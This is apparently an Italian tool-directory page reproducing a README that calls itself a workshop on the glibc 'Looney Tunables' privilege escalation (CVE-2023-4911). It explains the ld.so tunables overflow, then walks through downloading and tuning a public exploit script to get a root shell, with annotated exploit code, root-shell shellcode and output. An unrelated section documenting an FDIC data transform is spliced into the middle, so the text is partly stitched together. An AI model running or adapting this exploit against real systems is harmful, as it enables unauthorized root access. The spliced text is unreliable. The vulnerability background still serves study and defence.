Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-4911 — Workshop sull'escalation dei privilegi locali di Looney Tunables (CVE-2023-4911) | Kitploit
Strumenti/GitHubGitHub/kernelkrise/cve-2023-4911
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitApprendimento e FormazioneBinary ExploitationLab e PraticaArchived
GitHubkernelkrise/cve-2023-4911

CVE-2023-4911

Workshop sull'escalation dei privilegi locali di Looney Tunables (CVE-2023-4911)

Vedi Repository
1831 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-4911-Looney-Tunables

Workshop Looney Tunables sull'escalation dei privilegi locali (CVE-2023-4911) (solo a scopo educativo)

Link:

  • Video di IPPSEC
  • Post sul blog di Qualsys
  • Dettagli tecnici di Qualsys
  • Script Python POC dell'exploit
  • Codice sorgente GLIBC
  • Documentazione dei tunables GLIBC

Descrizione

Cos'è ld.so?

In informatica, un linker dinamico è la parte del sistema operativo che carica e collega le librerie condivise necessarie a un eseguibile quando viene eseguito, copiando il contenuto delle librerie dalla memoria persistente alla RAM, riempiendo le tabelle di salto e riallocando i puntatori.

Ad esempio, abbiamo un programma che utilizza la libreria openssl per calcolare l'hash md5:``` $ head md5_hash.c #include <stdio.h> #include <string.h> #include <openssl/md5.h>

root@kitploit:~
ld.so analizza il binario e cerca di trovare la libreria relativa a <openssl/md5.h>```
$ ldd md5_hash                       
        linux-vdso.so.1 (0x00007fffa530b000)
        libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)

Come possiamo vedere, trova la libreria crittografica necessaria in /lib/x86_64-linux-gnu/libcrypto.so.3 Durante l'avvio del programma, inserisce il codice di questa libreria nella RAM del processo e collega tutti i riferimenti a questa libreria.

Riepilogo

Quando un programma viene avviato, questo loader esamina prima il programma per determinare le librerie condivise di cui ha bisogno. Quindi cerca queste librerie, le carica in memoria e le collega all'eseguibile in fase di esecuzione. In questo processo, il caricatore dinamico risolve i riferimenti ai simboli, come riferimenti a funzioni e variabili, assicurando che tutto sia pronto per l'esecuzione del programma. Dato il suo ruolo, il caricatore dinamico è altamente sensibile alla sicurezza, poiché il suo codice viene eseguito con privilegi elevati quando un utente locale avvia un programma set-user-ID o set-group-ID.

Cosa sono i GLIBC Tunables?

I Tunables sono una funzionalità della GNU C Library che consente agli autori di applicazioni e ai manutentori di distribuzione di modificare il comportamento della libreria in fase di esecuzione per adattarlo al loro carico di lavoro. Sono implementati come un insieme di opzioni che possono essere modificate in diversi modi. Il metodo predefinito attuale per farlo è tramite la variabile d'ambiente GLIBC_TUNABLES impostandola su una stringa di coppie nome=valore separate da due punti. Ad esempio, il seguente esempio abilita il controllo malloc e imposta la soglia di trim malloc a 128 byte:``` GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3 export GLIBC_TUNABLES

root@kitploit:~
Passando `--list-tunables` al caricatore dinamico per stampare tutti i tunable con valori minimi e massimi:```
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)

Descrizione della vulnerabilità

All'inizio della sua esecuzione, ld.so chiama __tunables_init() per scorrere l'ambiente (alla riga 279), cercando variabili GLIBC_TUNABLES (alla riga 282); per ogni GLIBC_TUNABLES che trova, fa una copia di questa variabile (alla riga 284), chiama parse_tunables() per elaborare e sanificare questa copia (alla riga 286), e infine sostituisce la GLIBC_TUNABLES originale con questa copia sanificata (alla riga 288):```C // (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c) 269 void 270 __tunables_init (char **envp) 271 { 272 char *envname = NULL; 273 char *envval = NULL; 274 size_t len = 0; 275 char **prev_envp = envp; ... 279 while ((envp = get_next_env (envp, &envname, &len, &envval, 280 &prev_envp)) != NULL) 281 { 282 if (tunable_is_name ("GLIBC_TUNABLES", envname)) // searching for GLIBC_TUNABLES variables 283 { 284 char new_env = tunables_strdup (envname); 285 if (new_env != NULL) 286 parse_tunables (new_env + len + 1, envval); // 287 / Put in the updated envval. */ 288 *prev_envp = new_env; 289 continue; 290 }

root@kitploit:~
Il primo argomento di parse_tunables() (tunestr) punta alla copia di GLIBC_TUNABLES presto da sanificare, mentre il secondo argomento (valstring) punta alla variabile d'ambiente GLIBC_TUNABLES originale (nello stack). Per sanificare la copia di GLIBC_TUNABLES (che dovrebbe avere la forma "tunable1=`aaa:tunable2=bbb"`), parse_tunables() rimuove tutte le tunables pericolose (le tunables SXID_ERASE) da tunestr, ma mantiene le tunables SXID_IGNORE e NONE (alle righe 221-235):```C
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168   char *p = tunestr;
169   size_t off = 0;
170 
171   while (true)
172     {
173       char *name = p;
174       size_t len = 0;
175 
176       /* First, find where the name ends.  */
177       while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178         len++;
179 
180       /* If we reach the end of the string before getting a valid name-value
181          pair, bail out.  */
182       if (p[len] == '\0')
183         {
184           if (__libc_enable_secure)
185             tunestr[off] = '\0';
186           return;
187         }
188 
189       /* We did not find a valid name-value pair before encountering the
190          colon.  */
191       if (p[len]== ':')
192         {
193           p += len + 1;
194           continue;
195         }
196 
197       p += len + 1;
198 
199       /* Take the value from the valstring since we need to NULL terminate it.  */
200       char *value = &valstring[p - tunestr];
201       len = 0;
202 
203       while (p[len] != ':' && p[len] != '\0')
204         len++;
205 
206       /* Add the tunable if it exists.  */
207       for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208         {
209           tunable_t *cur = &tunable_list[i];
210 
211           if (tunable_is_name (cur->name, name))
212             {
...
219               if (__libc_enable_secure)
220                 {
221                   if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222                     {
223                       if (off > 0)
224                         tunestr[off++] = ':';
225 
226                       const char *n = cur->name;
227 
228                       while (*n != '\0')
229                         tunestr[off++] = *n++;
230 
231                       tunestr[off++] = '=';
232 
233                       for (size_t j = 0; j < len; j++)
234                         tunestr[off++] = value[j];
235                     }
236 
237                   if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238                     break;
239                 }
240 
241               value[len] = '\0';
242               tunable_initialize (cur, value);
243               break;
244             }
245         }
246 
247       if (p[len] != '\0')
248         p += len + 1;
249     }
250 }

Purtroppo, se una variabile d'ambiente GLIBC_TUNABLES ha la forma "tunable1=tunable2=AAA" (dove "tunable1" e "tunable2" sono SXID_IGNORE tunables, ad esempio "glibc.malloc.mxfast"), allora:

  • durante la prima iterazione del "while (true)" in parse_tunables(), l'intero "tunable1=tunable2=AAA" viene copiato in-place su tunestr (alle righe 221-235), riempiendo così tunestr;

  • alle righe 247-248, p non viene incrementato (p[len] è '\0' perché non è stato trovato ':' alle righe 203-204) e quindi p punta ancora al valore di "tunable1", cioè "tunable2=AAA";

  • durante la seconda iterazione del "while (true)" in parse_tunables(), "tunable2=AAA" viene aggiunto (come se fosse un secondo tunable) a tunestr (che è già pieno), causando un overflow di tunestr.

PoC

Comando:```bash $ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=printf '%08192x' 1" /usr/bin/su --help Segmentation fault (core dumped)

root@kitploit:~
Payload:```
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001

Sfruttamento

Questa vulnerabilità è un semplice buffer overflow, ma cosa dovremmo sovrascrivere per ottenere l'esecuzione di codice arbitrario? Il buffer che trabocchiamo è allocato alla riga 284 da tunables_strdup(), una reimplementazione di strdup() che utilizza __minimal_malloc() di ld.so invece di malloc() della glibc (infatti, malloc() della glibc non è ancora stato inizializzato). Questa implementazione di __minimal_malloc() chiama semplicemente mmap() per ottenere più memoria dal kernel.

Diamo un'occhiata a questo codice:```C 56 struct link_map * 57 _dl_new_object (char *realname, const char *libname, int type, 58 struct link_map *loader, int mode, Lmid_t nsid) 59 { .. 84 struct link_map *new; 85 struct libname_list *newname; .. 92 new = (struct link_map *) calloc (sizeof (*new) + audit_space 93 + sizeof (struct link_map *) 94 + sizeof (*newname) + libname_len, 1); 95 if (new == NULL) 96 return NULL; 97 98 new->l_real = new; 99 new->l_symbolic_searchlist.r_list = (struct link_map **) ((char *) (new + 1) 100 + audit_space); 101 102 new->l_libname = newname 103 = (struct libname_list *) (new->l_symbolic_searchlist.r_list + 1); 104 newname->name = (char ) memcpy (newname + 1, libname, libname_len); 105 / newname->next = NULL; We use calloc therefore not necessary. */

root@kitploit:~
##### Sovrascrittura dei puntatori della struttura link_map di prossima allocazione
>ld.so alloca la memoria per questa struttura link_map con calloc(), e quindi non inizializza esplicitamente i vari membri a zero; questa è un'ottimizzazione ragionevole. Come accennato in precedenza, calloc() qui non è la calloc() di glibc ma la __minimal_calloc() di ld.so, che chiama __minimal_malloc() *senza* inizializzare esplicitamente a zero la memoria restituita; anche questa è un'ottimizzazione ragionevole, perché a tutti gli effetti __minimal_malloc() restituisce sempre un blocco pulito di memoria mmap()ata, garantito per essere inizializzato a zero dal kernel.
>
> Sfortunatamente, il buffer overflow in parse_tunables() ci permette di sovrascrivere la memoria mmap()ata pulita con byte non nulli, sovrascrivendo quindi i puntatori della struttura link_map di prossima allocazione con valori non NULL. Questo ci consente di rompere completamente la logica di ld.so, che assume che questi puntatori siano NULL.

#### Idea del Buffer Overflow
> Abbiamo notato che molti più puntatori nella struttura link_map non sono inizializzati esplicitamente a NULL; in particolare, i puntatori alle strutture Elf64_Dyn nell'array l_info[] di puntatori. Tra questi, `l_info[DT_RPATH]`, il "percorso di ricerca delle librerie", è emerso immediatamente: se sovrascriviamo questo puntatore e controlliamo dove e cosa punta, possiamo forzare ld.so a fidarsi di una directory che possediamo, e quindi caricare la nostra libc.so.6 o la libreria LD_PRELOAD da questa directory, ed eseguire codice arbitrario (come root, se eseguiamo ld.so tramite un programma SUID-root).

> Dove dovrebbe puntare il `l_info[DT_RPATH]` sovrascritto? La risposta semplice a questa domanda è: lo stack; più precisamente, le nostre stringhe d'ambiente nello stack. Su Linux, lo stack è randomizzato in una regione di 16GB, e le nostre stringhe d'ambiente possono occupare fino a 6MB (_STK_LIM / 4 * 3, in bprm_stack_limits() del kernel): dopo 16GB / 6MB = 2730 tentativi abbiamo buone probabilità di indovinare l'indirizzo delle nostre stringhe d'ambiente (nel nostro exploit, sovrascriviamo sempre `l_info[DT_RPATH]` con 0x7ffdfffff010, il centro della regione dello stack randomizzato). Nei nostri test, questa forza bruta richiede ~30s su Debian e ~5m su Ubuntu e Fedora (a causa dei loro gestori automatici di crash, Apport e ABRT; non abbiamo provato a ovviare a questo rallentamento).

> A cosa dovrebbe puntare il l_info[DT_RPATH] sovrascritto? 
> Nel nostro exploit, riempiamo semplicemente i nostri 6MB di stringhe d'ambiente con 0xfffffffffffffff8 (-8), perché a un offset di -8B sotto la tabella delle stringhe della maggior parte dei programmi SUID-root, appare la stringa "\x08": questo forza ld.so a fidarsi di una directory relativa denominata "\x08" (nella nostra directory di lavoro corrente), e quindi ci consente di caricare ed eseguire la nostra libc.so.6 o la libreria LD_PRELOAD da questa directory, come root.

Schema:
<img src="https://assets.kitploit.com/production/public/readmes/37285/2a2a7aefd5313512ebb1ce9163f9c08efeb0c28f90742be80186ba3e3d72db5b.png" width="1000" />
#### Byte "\x08" all'offset -8 in .DYNSTR:
!["\x08" byte in xxd](https://assets.kitploit.com/production/public/readmes/37285/f7e47c7603cfe523799c8ebc0bf1265caaeb0dcf3924bf92cea7f204127490bf.png)

## PoC LPE:
Sto usando la mia vecchia istantanea di kali linux per testare il PoC. Verifichiamo se è vulnerabile:```bash
[~/cve]$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
[1]    7995 segmentation fault  env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A"  /usr/bin/s

Abbiamo ricevuto SIGSEGV, quindi il nostro sistema è vulnerabile a questo CVE LPE!

Scarichiamo lo script PoC e testiamolo:``` [~/cve]$ wget -q https://haxx.in/files/gnu-acme.py

[~/cve]$ python3 gnu-acme.py

root@kitploit:~
  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 error: no target info found for build id e664396d7c25533074698a0695127259dbbf56f3

root@kitploit:~
Quindi, il nostro ID di build di ld.so non è nell'elenco dei target, sistemiamolo!
Disabilita ASLR:```bash
[~/cve]$ sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"

Controlla di nuovo:``` [~/cve]$ python3 gnu-acme.py

root@kitploit:~
  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] ASLR is not enabled, attempting to find usable offsets [i] using stack addr 0x7fffffffe10c found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 561 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 562 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 563 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 564 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 565 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 566 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 567 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 568

root@kitploit:~
Quindi, il nostro script POC trova alcuni offset utili, aggiungiamo il nostro build id di ld.so e l'offset allo script:
![TARGETS set in code](https://assets.kitploit.com/production/public/readmes/37285/3a1ab26b738c731b061b05bd2515afa9cc41b4d23158f37daa27a05d8a86f4ad.png)
Ripristina ASLR:```bash
[~/cve]$ sudo bash -c "echo 1 > /proc/sys/kernel/randomize_va_space"

Proviamo di nuovo lo script PoC:``` [~/cve]$ python3 gnu-acme.py

root@kitploit:~
  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] using stack addr 0x7ffe1010100c .........................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **

whoami root

id

uid=0(root)

root@kitploit:~
Funziona!

Funziona anche con altri file SUID:```bash
[~/cve]$ find /usr/bin/ -perm -u=s -type f 2>/dev/null
<SNIP>
/usr/bin/mount
<SNIP>
root@kitploit:~
## `get_fdic_institutions`

Questa trasformazione recupera i dati dell'FDIC (Federal Deposit Insurance Corporation) sulle istituzioni finanziarie.

### Parametri

| Nome | Descrizione | Tipo | Default | Obbligatorio |
|-------|-------------|------|---------|:-----------:|
| `search` | La stringa di ricerca per interrogare le istituzioni FDIC. | `string` | `''` | no |
| `fields` | I campi da includere nella risposta. | `list(string)` | `['NAME', 'CERT']` | no |
| `limit` | Il numero massimo di istituzioni da restituire. | `integer` | `100` | no |
| `sort_by` | Il campo in base al quale ordinare i risultati. | `string` | `'NAME'` | no |
| `sort_order` | L'ordine di ordinamento (ASC o DESC). | `string` | `'ASC'` | no |
| `filters` | I filtri da applicare alla richiesta. Formato: `TOP-25-2019: ['CERT', 'NAME']`. | `dictionary` | `None` | no |

### Esempio

```yaml
- transform: get_fdic_institutions
  config:
    search: "bank"
    fields: ["NAME", "CITY", "STATE"]
    limit: 50
    sort_by: "ASSET"
    sort_order: "DESC"
    filters:
      STNAME: "California"

Output

root@kitploit:~
{
  "data": [
    {
      "NAME": "Bank of America, National Association",
      "CITY": "Charlotte",
      "STATE": "NC"
    },
    ...
  ],
  "totals": {
    "count": 500,
    "total": 10436
  }
}

La risposta include un campo data contenente l'elenco delle istituzioni e un campo totals con il numero totale di risultati corrispondenti e il conteggio complessivo.

root@kitploit:~
[~/cve]$ python3 gnu-acme.py /usr/bin/mount --help

      $$$ glibc ld.so (CVE-2023-4911) exploit $$$
            -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/mount, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'\x08' at offset -8
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe10101009
....................................................................................................................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **

id
uid=0(root)
```
### Quindi, diamo un'occhiata allo script PoC:
All'inizio dello script PoC abbiamo il dizionario ARCH con alcune **architetture del processore** (ho lasciato solo x86_64 perché lo uso).
In questo dizionario abbiamo 
* "shellcode": per spawnare ""/bin/sh"" con privilegi di root
* "exitcode": è anche shellcode, ma esegue exit(0x66)
* "stack_top": è l'indirizzo massimo possibile dello stack su x86_64
* "stack_aslr_bits": sono i bit di entropia su x86_64 (bit che vengono modificati da ASLR)```python
# This code is written by blasty <[email protected]>, I just commented it to figure it out
# ORIGINAL POC SCRIPT -> https://haxx.in/files/gnu-acme.py

import binascii
# <SNIP>
from shutil import which

unhex = lambda v: binascii.unhexlify(v.replace(" ", ""))

ARCH = {
    "x86_64": {
        "shellcode": unhex(
            "31ff6a69580f0531ff6a6a580f056a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
        ),  # MODIFIED: context.arch = 'amd64'; asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh()).hex()
        "exitcode": unhex("6a665f6a3c580f05"),  # asm(shellcraft.exit(0x66)).hex()
        "stack_top": 0x800000000000,
        "stack_aslr_bits": 30,  # https://www.researchgate.net/figure/Comparative-summary-of-bits-of-entropy_tbl3_334618410
    }
}
```
Disassembla shellcode```nasm
   0:   31 ff                   xor    edi, edi
   2:   6a 69                   push   0x69
   4:   58                      pop    rax
   5:   0f 05                   syscall
   
   7:   31 ff                   xor    edi, edi
   9:   6a 6a                   push   0x6a
   b:   58                      pop    rax
   c:   0f 05                   syscall
   
   e:   6a 68                   push   0x68
  10:   48 b8 2f 62 69 6e 2f 2f 2f 73   movabs rax, 0x732f2f2f6e69622f
  1a:   50                      push   rax
  1b:   48 89 e7                mov    rdi, rsp
  1e:   68 72 69 01 01          push   0x1016972
  23:   81 34 24 01 01 01 01    xor    DWORD PTR [rsp], 0x1010101
  2a:   31 f6                   xor    esi, esi
  2c:   56                      push   rsi
  2d:   6a 08                   push   0x8
  2f:   5e                      pop    rsi
  30:   48 01 e6                add    rsi, rsp
  33:   56                      push   rsi
  34:   48 89 e6                mov    rsi, rsp
  37:   31 d2                   xor    edx, edx
  39:   6a 3b                   push   0x3b
  3b:   58                      pop    rax
  3c:   0f 05                   syscall
```
Disassembla codice di uscita```nasm
   0:   6a 66                   push   0x66
   2:   5f                      pop    rdi
   3:   6a 3c                   push   0x3c
   5:   58                      pop    rax
   6:   0f 05                   syscall
```
Successivamente abbiamo un dizionario con i target (ld.so build id) e i loro buffer overflow offsets```python
TARGETS = {
    "e664396d7c25533074698a0695127259dbbf56f3": 568
}
```
Poi, ci sono molte funzioni che sono nominate per ciò che fanno e per lo più possono essere sostituite da metodi della libreria pwntools.
Quindi non vedo il motivo di discuterle in dettaglio, tranne che per alcune di esse.```python
# TARGETS[ld_build_id], stack_addr, hax_path["offset"], suid_e.bits
def build_env(adjust, addr, offset, bits=64):  
    # heap meh shui
    if bits == 64:
        env = [  # Actual vulnerability exploit (buffer overflow)
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 8,
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
            b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24,
        ]

        pad = 172
        fill = 47
    else:
        env = [
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
            b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"X" * 14,
        ]

        pad = 87
        fill = 47 * 2

    for j in range(pad):  # fill buffer with NULL bytes to NOT overwrite nothing except what we want
        env.append(b"")

    if bits == 64:  # overwrite l_info[DT_RPATH] pointer with pointer to stack
        env.append(struct.pack("<Q", addr))
        env.append(b"")
    else:
        env.append(struct.pack("<L", addr))

    for i in range(384):   # fill buffer with NULL bytes to NOT overwrite nothing except what we want
        env.append(b"")

    for i in range(fill):  # write a lot of "-8" bytes to stack to force DT_RPATH use offset -8 in .DYNSTR
        if bits == 64:
            env.append(
                struct.pack("<Q", offset & 0xFFFFFFFFFFFFFFFF) * 16382 + b"\xaa" * 7
            )
        else:
            env.append(struct.pack("<L", offset & 0xFFFFFFFF) * 16382 + b"\xaa" * 7)

    env.append(None)
    return env


if __name__ == "__main__":
    banner()  # just print bunner

    machine = os.uname().machine  # uname of machine

    if machine not in ARCH.keys():
        error("architecture '%s' not supported" % machine)

    print("[i] libc = %s" % lib_path("c").decode())  # print libc path

    if len(sys.argv) == 1:  # check if user pass SUID binary as args, if no use "su" binary
        suid_path = which("su")
        suid_args = ["--help"]
    else:
        suid_path = sys.argv[1]
        suid_args = sys.argv[2:]

    lsb = ((0x100 - (len(suid_path) + 1 + 8)) & 7) + 8  # Some value

    print(f"[DEBUG] -> LSB: {lsb}")

    print("[i] suid target = %s, suid_args = %s" % (suid_path, suid_args))  # print suid binary path with args

    suid_e = lazy_elf(suid_path)  # generate lazy_elf object with SUID binary

    ld_path = suid_e.section_by_name(".interp").strip(b"\x00").decode()  # get ld_path from suid binary .interp section

    ld_e = lazy_elf(ld_path)   # generate lazy_elf object with ld.so binary

    print("[i] ld.so = %s" % ld_path)  # print ld.so path

    ld_build_id = binascii.hexlify(  # get ld.so build id from ".note.gnu.build-id" section
        ld_e.section_by_name(".note.gnu.build-id")[-20:]
    ).decode()

    print("[i] ld.so build id = %s" % ld_build_id)  # print ld.so build id

    libc_e = lazy_elf(lib_path("c"))    # generate lazy_elf object with libc.so.6 binary

    __libc_start_main = libc_e.symbol("__libc_start_main")  # find offset of __libc_start_main function in libc

    if __libc_start_main == None:  # if can't find __libc_start_main
        error("could not resolve __libc_start_main")

    print("[i] __libc_start_main = 0x%x" % __libc_start_main)  # print offset of __libc_start_main

    offset = suid_e.shdr_by_name(".dynstr")["offset"]  # Find offset of .dynstr section
    print(f"[DEBUG] -> .DYNSTR offset: {offset}")
    hax_path = find_hax_path(suid_e.d, offset)  # find value and offset in .dynstr to make trusted folder. It will be "\x08" at offset -8 ( [.dynstr - 8] )
    if hax_path is None:  #  error if not find hax
        error("could not find hax path")

    print(  # print hax
        "[i] using hax path %s at offset %d"
        % (
            hax_path["path"],
            hax_path["offset"],
        )
    )

    if not os.path.exists(hax_path["path"]):  # create folder ("\x08" to place libc there later)
        os.mkdir(hax_path["path"])

    argv = build_argv([suid_path] + suid_args)  # just get array of arguments ( ["su", "--help", None] )

    shellcode = (  # get shellcode (to spawn /bin/sh) or get exitcode which returns 0x66 if executed
        ARCH[machine]["shellcode"] if is_aslr_enabled() else ARCH[machine]["exitcode"]
    )

    with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:  # open folder "\x08" and write patched (with shellcode) libc.so.6 there
        fh.write(libc_e.d[0:__libc_start_main])  # all before __libc_start_main
        fh.write(shellcode)  # shellcode
        fh.write(libc_e.d[__libc_start_main + len(shellcode) :])  # all after shellcode
    print("[i] wrote patched libc.so.6")

    if not is_aslr_enabled():  # if ASLR is not enabled
        print("[i] ASLR is not enabled, attempting to find usable offsets")

        stack_addr = ARCH[machine]["stack_top"] - 0x1F00
        stack_addr += lsb

        print("[i] using stack addr 0x%x" % stack_addr)

        for adjust in range(128, 1024):
            env = build_env(adjust, stack_addr, hax_path["offset"], suid_e.bits)
            r = spawn(suid_path.encode(), argv, env)
            if r == 0x66:
                print(
                    "found working offset for ld.so '%s' -> %d" % (ld_build_id, adjust)
                )

    else:
        if ld_build_id not in TARGETS.keys():  # check if ld.so build id in TARGET list (check if we know ofsset to overflow)
            error("no target info found for build id %s" % ld_build_id)

        stack_addr = ARCH[machine]["stack_top"] - (  # calculate minimum address of stack
            1 << (ARCH[machine]["stack_aslr_bits"] - 1)
        )
        # In [11]: hex(1 << 29)
        # Out[11]: '0x20000000'

        # In [12]: hex(0x800000000000 - 0x20000000)
        # Out[12]: '0x7fffe0000000'

        print(f"[DEBUG] -> STACK ADDR: {hex(stack_addr)}")
        stack_addr += lsb
        # avoid NULL bytes in guessy addr (out of sheer laziness really)
        for i in range(6 if suid_e.bits == 64 else 4):  # some calculations to find usable offset in stack
            if (stack_addr >> (i * 8)) & 0xFF == 0:
                stack_addr |= 0x10 << (i * 8)

        print("[i] using stack addr 0x%x" % stack_addr)

        env = build_env(  # create malicious environment variables (with overflow and stack overwrite)
            TARGETS[ld_build_id], stack_addr, hax_path["offset"], suid_e.bits
        )

        # print(f"[DEBUG] -> ENV: {env}")

        cnt = 1
        while True:
            if cnt % 0x10 == 0:  # print "." every 10 executions
                sys.stdout.write(".")
                sys.stdout.flush()
            if spawn(suid_path.encode(), argv, env) == 0x1337:  # spawn process of SUID with malicious environment variables
                print("goodbye. (took %d tries)" % cnt)
                exit(0)
            cnt += 1


```
Tabella con l'entropia ASLR su diverse architetture:
![Table with ASLR entropy bits](https://assets.kitploit.com/production/public/readmes/37285/fc71de02816553941d5a33a788de106978c50e654beca21b6030ea82b7d352b4.png)
Scarica lo strumento